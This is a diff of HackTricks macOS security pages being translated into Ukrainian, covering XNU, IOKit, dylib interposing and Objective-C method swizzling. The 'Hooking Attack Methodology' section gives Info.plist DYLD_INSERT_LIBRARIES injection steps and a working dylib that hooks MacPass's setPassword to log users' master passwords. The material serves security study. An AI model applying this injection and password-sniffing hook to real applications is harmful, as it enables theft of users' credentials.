Ці привілеї зазвичай надаються у формі **прав** з якими підписаний додаток, або додаток може запитати деякі доступи, і після **схвалення їх користувачем** вони можуть бути знайдені в **базах даних TCC**. Інший спосіб, яким процес може отримати ці привілеї, - це бути **дочірнім процесом** з такими **привілеями**, оскільки вони зазвичай **успадковуються**.
Follow these links to find different was to [**escalate privileges in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), to [**bypass TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) and how in the past [**SIP has been bypassed**](macos-security-protections/macos-sip.md#sip-bypasses).
Слідуйте цим посиланням, щоб знайти різні способи [**ескалації привілеїв у TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), [**обійти TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) і як у минулому [**SIP було обійдено**](macos-security-protections/macos-sip.md#sip-bypasses).
## macOS Traditional Privilege Escalation
Of course from a red teams perspective you should be also interested in escalating to root. Check the following post for some hints:
Звичайно, з точки зору червоних команд, вам також слід бути зацікавленим в ескалації до root. Перегляньте наступний пост для деяких підказок:
{{#ref}}
macos-privilege-escalation.md
@ -132,19 +117,4 @@ macos-privilege-escalation.md
- [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
- [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{{#include ../../banners/hacktricks-training.md}}

48
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md
View File

@ -4,68 +4,68 @@
## XNU Kernel
The **core of macOS is XNU**, which stands for "X is Not Unix". This kernel is fundamentally composed of the **Mach microkerne**l (to be discussed later), **and** elements from Berkeley Software Distribution (**BSD**). XNU also provides a platform for **kernel drivers via a system called the I/O Kit**. The XNU kernel is part of the Darwin open source project, which means **its source code is freely accessible**.
**Ядро macOS - це XNU**, що означає "X is Not Unix". Це ядро в основному складається з **Mach мікроядра** (про яке буде сказано пізніше) **та** елементів з Berkeley Software Distribution (**BSD**). XNU також забезпечує платформу для **драйверів ядра через систему, звану I/O Kit**. Ядро XNU є частиною проекту з відкритим вихідним кодом Darwin, що означає, що **його вихідний код є вільно доступним**.
From a perspective of a security researcher or a Unix developer, **macOS** can feel quite **similar** to a **FreeBSD** system with an elegant GUI and a host of custom applications. Most applications developed for BSD will compile and run on macOS without needing modifications, as the command-line tools familiar to Unix users are all present in macOS. However, because the XNU kernel incorporates Mach, there are some significant differences between a traditional Unix-like system and macOS, and these differences might cause potential issues or provide unique advantages.
З точки зору дослідника безпеки або розробника Unix, **macOS** може здаватися досить **схожим** на систему **FreeBSD** з елегантним графічним інтерфейсом і безліччю спеціальних додатків. Більшість додатків, розроблених для BSD, будуть компілюватися та працювати на macOS без необхідності модифікацій, оскільки командні інструменти, знайомі користувачам Unix, присутні в macOS. Однак, оскільки ядро XNU включає Mach, існують деякі суттєві відмінності між традиційною системою, подібною до Unix, і macOS, і ці відмінності можуть викликати потенційні проблеми або надавати унікальні переваги.
Open source version of XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
Відкрита версія XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
### Mach
Mach is a **microkernel** designed to be **UNIX-compatible**. One of its key design principles was to **minimize** the amount of **code** running in the **kernel** space and instead allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level tasks**.
Mach - це **мікроядро**, розроблене для **сумісності з UNIX**. Одним з його ключових принципів дизайну було **мінімізувати** кількість **коду**, що виконується в **ядровому** просторі, і замість цього дозволити багатьом типовим функціям ядра, таким як файлові системи, мережеві з'єднання та I/O, **виконуватися як завдання на рівні користувача**.
In XNU, Mach is **responsible for many of the critical low-level operations** a kernel typically handles, such as processor scheduling, multitasking, and virtual memory management.
У XNU Mach **відповідає за багато критично важливих низькорівневих операцій**, які зазвичай обробляє ядро, таких як планування процесора, багатозадачність та управління віртуальною пам'яттю.
### BSD
The XNU **kernel** also **incorporates** a significant amount of code derived from the **FreeBSD** project. This code **runs as part of the kernel along with Mach**, in the same address space. However, the FreeBSD code within XNU may differ substantially from the original FreeBSD code because modifications were required to ensure its compatibility with Mach. FreeBSD contributes to many kernel operations including:
Ядро XNU також **включає** значну кількість коду, отриманого з проекту **FreeBSD**. Цей код **виконується як частина ядра разом з Mach**, в одному адресному просторі. Однак код FreeBSD в XNU може суттєво відрізнятися від оригінального коду FreeBSD, оскільки були потрібні модифікації для забезпечення його сумісності з Mach. FreeBSD сприяє багатьом операціям ядра, включаючи:
- Process management
- Signal handling
- Basic security mechanisms, including user and group management
- System call infrastructure
- TCP/IP stack and sockets
- Firewall and packet filtering
- Управління процесами
- Обробка сигналів
- Основні механізми безпеки, включаючи управління користувачами та групами
- Інфраструктура системних викликів
- Стек TCP/IP та сокети
- Брандмауер та фільтрація пакетів
Understanding the interaction between BSD and Mach can be complex, due to their different conceptual frameworks. For instance, BSD uses processes as its fundamental executing unit, while Mach operates based on threads. This discrepancy is reconciled in XNU by **associating each BSD process with a Mach task** that contains exactly one Mach thread. When BSD's fork() system call is used, the BSD code within the kernel uses Mach functions to create a task and a thread structure.
Розуміння взаємодії між BSD та Mach може бути складним через їх різні концептуальні рамки. Наприклад, BSD використовує процеси як свою основну одиницю виконання, тоді як Mach працює на основі потоків. Ця розбіжність узгоджується в XNU шляхом **асоціювання кожного процесу BSD з завданням Mach**, яке містить точно один потік Mach. Коли використовується системний виклик fork() у BSD, код BSD в ядрі використовує функції Mach для створення структури завдання та потоку.
Moreover, **Mach and BSD each maintain different security models**: **Mach's** security model is based on **port rights**, whereas BSD's security model operates based on **process ownership**. Disparities between these two models have occasionally resulted in local privilege-escalation vulnerabilities. Apart from typical system calls, there are also **Mach traps that allow user-space programs to interact with the kernel**. These different elements together form the multifaceted, hybrid architecture of the macOS kernel.
Більше того, **Mach і BSD кожен підтримує різні моделі безпеки**: **модель безпеки Mach** базується на **правах портів**, тоді як модель безпеки BSD працює на основі **власності процесів**. Різниці між цими двома моделями іноді призводили до вразливостей підвищення локальних привілеїв. Окрім типових системних викликів, також існують **Mach traps, які дозволяють програмам користувацького простору взаємодіяти з ядром**. Ці різні елементи разом формують багатогранну, гібридну архітектуру ядра macOS.
### I/O Kit - Drivers
### I/O Kit - Драйвери
The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware.
I/O Kit - це відкритий, об'єктно-орієнтований **фреймворк драйверів пристроїв** в ядрі XNU, який обробляє **динамічно завантажені драйвери пристроїв**. Це дозволяє модульному коду бути доданим до ядра на льоту, підтримуючи різноманітне апаратне забезпечення.
{{#ref}}
macos-iokit.md
{{#endref}}
### IPC - Inter Process Communication
### IPC - Міжпроцесна комунікація
{{#ref}}
../macos-proces-abuse/macos-ipc-inter-process-communication/
{{#endref}}
## macOS Kernel Extensions
## Розширення ядра macOS
macOS is **super restrictive to load Kernel Extensions** (.kext) because of the high privileges that code will run with. Actually, by default is virtually impossible (unless a bypass is found).
macOS є **надзвичайно обмеженим для завантаження розширень ядра** (.kext) через високі привілеї, з якими буде виконуватися код. Насправді, за замовчуванням це практично неможливо (якщо не знайдено обхід).
In the following page you can also see how to recover the `.kext` that macOS loads inside its **kernelcache**:
На наступній сторінці ви також можете побачити, як відновити `.kext`, які macOS завантажує всередині свого **kernelcache**:
{{#ref}}
macos-kernel-extensions.md
{{#endref}}
### macOS System Extensions
### Розширення системи macOS
Instead of using Kernel Extensions macOS created the System Extensions, which offers in user level APIs to interact with the kernel. This way, developers can avoid to use kernel extensions.
Замість використання розширень ядра macOS створила розширення системи, які пропонують API на рівні користувача для взаємодії з ядром. Таким чином, розробники можуть уникнути використання розширень ядра.
{{#ref}}
macos-system-extensions.md
{{#endref}}
## References
## Посилання
- [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)
- [**Посібник хакера Mac**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
{{#include ../../../banners/hacktricks-training.md}}

294
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
View File

@ -4,52 +4,47 @@
## Function Interposing
Create a **dylib** with an **`__interpose`** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** that refer to the **original** and the **replacement** functions.
Створіть **dylib** з секцією **`__interpose`** (або секцією, позначеною **`S_INTERPOSING`**), що містить кортежі **вказівників на функції**, які посилаються на **оригінальні** та **замінні** функції.
Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](../macos-proces-abuse/macos-library-injection/#check-restrictions).&#x20;
Потім **впровадьте** dylib за допомогою **`DYLD_INSERT_LIBRARIES`** (впровадження має відбуватися до завантаження основного додатку). Очевидно, що [**обмеження**, що застосовуються до використання **`DYLD_INSERT_LIBRARIES`**, також застосовуються тут](../macos-proces-abuse/macos-library-injection/#check-restrictions).&#x20;
### Interpose printf
{{#tabs}}
{{#tab name="interpose.c"}}
```c:interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
int ret = printf("Hello from interpose\n");
return ret;
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```
{{#endtab}}
{{#tab name="hello.c"}}
```c
//gcc hello.c -o hello
#include <stdio.h>
int main() {
printf("Hello World!\n");
return 0;
printf("Hello World!\n");
return 0;
}
```
{{#endtab}}
{{#tab name="interpose2.c"}}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
@ -57,26 +52,24 @@ int main() {
#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
int ret = printf("Hello from interpose\n");
return ret;
}
DYLD_INTERPOSE(my_printf,printf);
```
{{#endtab}}
{{#endtabs}}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
@ -84,24 +77,22 @@ Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
## Method Swizzling
In ObjectiveC this is how a method is called like: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
В ObjectiveC метод викликається так: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
It's needed the **object**, the **method** and the **params**. And when a method is called a **msg is sent** using the function **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
Необхідні **об'єкт**, **метод** та **параметри**. І коли метод викликається, **msg надсилається** за допомогою функції **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
The object is **`someObject`**, the method is **`@selector(method1p1:p2:)`** and the arguments are **value1**, **value2**.
Об'єкт - це **`someObject`**, метод - це **`@selector(method1p1:p2:)`**, а аргументи - **value1**, **value2**.
Following the object structures, it's possible to reach an **array of methods** where the **names** and **pointers** to the method code are **located**.
Слідуючи структурам об'єктів, можна отримати **масив методів**, де **імена** та **вказівники** на код методу **знаходяться**.
> [!CAUTION]
> Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with `otool -ov </path/bin>` or [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
> Зверніть увагу, що оскільки методи та класи доступні на основі їх імен, ця інформація зберігається в бінарному файлі, тому її можна отримати за допомогою `otool -ov </path/bin>` або [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
### Accessing the raw methods
It's possible to access the information of the methods such as name, number of params or address like in the following example:
Можна отримати інформацію про методи, такі як ім'я, кількість параметрів або адреса, як у наступному прикладі:
```objectivec
// gcc -framework Foundation test.m -o test
@ -110,71 +101,69 @@ It's possible to access the information of the methods such as name, number of p
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
return 0;
}
```
### Метод Swizzling з method_exchangeImplementations
### Method Swizzling with method_exchangeImplementations
The function **`method_exchangeImplementations`** allows to **change** the **address** of the **implementation** of **one function for the other**.
Функція **`method_exchangeImplementations`** дозволяє **змінити** **адресу** **реалізації** **однієї функції на іншу**.
> [!CAUTION]
> So when a function is called what is **executed is the other one**.
> Тому, коли викликається функція, **виконується інша**.
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
@ -192,44 +181,42 @@ The function **`method_exchangeImplementations`** allows to **change** the **add
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
return 0;
}
```
> [!WARNING]
> In this case if the **implementation code of the legit** method **verifies** the **method** **name** it could **detect** this swizzling and prevent it from running.
> У цьому випадку, якщо **код реалізації легітимного** методу **перевіряє** **ім'я методу**, він може **виявити** це свізлінг і запобігти його виконанню.
>
> The following technique doesn't have this restriction.
> Наступна техніка не має цього обмеження.
### Method Swizzling with method_setImplementation
### Метод свізлінгу з method_setImplementation
The previous format is weird because you are changing the implementation of 2 methods one from the other. Using the function **`method_setImplementation`** you can **change** the **implementation** of a **method for the other one**.
Just remember to **store the address of the implementation of the original one** if you are going to to call it from the new implementation before overwriting it because later it will be much complicated to locate that address.
Попередній формат дивний, оскільки ви змінюєте реалізацію 2 методів один з одного. Використовуючи функцію **`method_setImplementation`**, ви можете **змінити** **реалізацію** **методу на інший**.
Просто пам'ятайте, щоб **зберегти адресу реалізації оригінального** методу, якщо ви плануєте викликати його з нової реалізації перед перезаписуванням, оскільки пізніше буде набагато складніше знайти цю адресу.
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
@ -246,75 +233,69 @@ static IMP original_substringFromIndex = NULL;
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
return 0;
}
}
```
## Методологія атак за допомогою хуків
## Hooking Attack Methodology
На цій сторінці обговорювалися різні способи хукування функцій. Однак вони передбачали **виконання коду всередині процесу для атаки**.
In this page different ways to hook functions were discussed. However, they involved **running code inside the process to attack**.
Щоб це зробити, найпростіша техніка - це інжектувати [Dyld через змінні середовища або захоплення](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Однак, я вважаю, що це також можна зробити через [інжекцію процесу Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
In order to do that the easiest technique to use is to inject a [Dyld via environment variables or hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). However, I guess this could also be done via [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
Однак обидва варіанти **обмежені** **незахищеними** бінарними файлами/процесами. Перевірте кожну техніку, щоб дізнатися більше про обмеження.
However, both options are **limited** to **unprotected** binaries/processes. Check each technique to learn more about the limitations.
However, a function hooking attack is very specific, an attacker will do this to **steal sensitive information from inside a process** (if not you would just do a process injection attack). And this sensitive information might be located in user downloaded Apps such as MacPass.
So the attacker vector would be to either find a vulnerability or strip the signature of the application, inject the **`DYLD_INSERT_LIBRARIES`** env variable through the Info.plist of the application adding something like:
Однак атака за допомогою хуків функцій є дуже специфічною, зловмисник робитиме це, щоб **вкрасти чутливу інформацію зсередини процесу** (якщо ні, ви просто зробили б атаку інжекції процесу). І ця чутлива інформація може бути розташована в завантажених користувачем додатках, таких як MacPass.
Отже, вектор атаки полягатиме в тому, щоб знайти вразливість або зняти підпис з програми, інжектувати змінну середовища **`DYLD_INSERT_LIBRARIES`** через Info.plist програми, додавши щось на зразок:
```xml
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
and then **re-register** the application:
і потім **перереєструвати** додаток:
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
Add in that library the hooking code to exfiltrate the information: Passwords, messages...
Додайте в цю бібліотеку код для хуків, щоб ексфільтрувати інформацію: паролі, повідомлення...
> [!CAUTION]
> Note that in newer versions of macOS if you **strip the signature** of the application binary and it was previously executed, macOS **won't be executing the application** anymore.
#### Library example
> Зверніть увагу, що в новіших версіях macOS, якщо ви **знімаєте підпис** з бінарного файлу програми і вона раніше виконувалася, macOS **більше не буде виконувати цю програму**.
#### Приклад бібліотеки
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
@ -331,27 +312,26 @@ static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
## References
## Посилання
- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)

216
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md
View File

@ -2,18 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware.
I/O Kit - це відкритий, об'єктно-орієнтований **фреймворк драйверів пристроїв** в ядрі XNU, який обробляє **динамічно завантажувані драйвери пристроїв**. Він дозволяє модульному коду додаватися до ядра на льоту, підтримуючи різноманітне апаратне забезпечення.
IOKit drivers will basically **export functions from the kernel**. These function parameter **types** are **predefined** and are verified. Moreover, similar to XPC, IOKit is just another layer on **top of Mach messages**.
Драйвери IOKit в основному **експортують функції з ядра**. Ці параметри функцій **типи** є **попередньо визначеними** та перевіреними. Більше того, подібно до XPC, IOKit є ще одним шаром **над Mach повідомленнями**.
**IOKit XNU kernel code** is opensourced by Apple in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Moreover, the user space IOKit components are also opensource [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
**Код ядра IOKit XNU** відкритий Apple в [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Більше того, компоненти IOKit у просторі користувача також є відкритими [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
However, **no IOKit drivers** are opensource. Anyway, from time to time a release of a driver might come with symbols that makes it easier to debug it. Check how to [**get the driver extensions from the firmware here**](./#ipsw)**.**
It's written in **C++**. You can get demangled C++ symbols with:
Однак, **жоден з драйверів IOKit** не є відкритим. У будь-якому випадку, час від часу випуск драйвера може супроводжуватися символами, які полегшують його налагодження. Перевірте, як [**отримати розширення драйвера з прошивки тут**](./#ipsw)**.**
Він написаний на **C++**. Ви можете отримати демангліровані символи C++ за допомогою:
```bash
# Get demangled symbols
nm -C com.apple.driver.AppleJPEGDriver
@ -23,210 +22,193 @@ c++filt
__ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaquePK28IOExternalMethodDispatch2022mP8OSObjectPv
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
> [!CAUTION]
> IOKit **exposed functions** could perform **additional security checks** when a client tries to call a function but note that the apps are usually **limited** by the **sandbox** to which IOKit functions they can interact with.
> IOKit **викриті функції** можуть виконувати **додаткові перевірки безпеки**, коли клієнт намагається викликати функцію, але слід зазначити, що програми зазвичай **обмежені** **пісочницею**, з якою функції IOKit можуть взаємодіяти.
## Drivers
## Драйвери
In macOS they are located in:
У macOS вони розташовані в:
- **`/System/Library/Extensions`**
- KEXT files built into the OS X operating system.
- Файли KEXT, вбудовані в операційну систему OS X.
- **`/Library/Extensions`**
- KEXT files installed by 3rd party software
- Файли KEXT, встановлені стороннім програмним забезпеченням
In iOS they are located in:
В iOS вони розташовані в:
- **`/System/Library/Extensions`**
```bash
#Use kextstat to print the loaded drivers
kextstat
Executing: /usr/bin/kmutil showloaded
No variant specified, falling back to release
Index Refs Address Size Wired Name (Version) UUID <Linked Against>
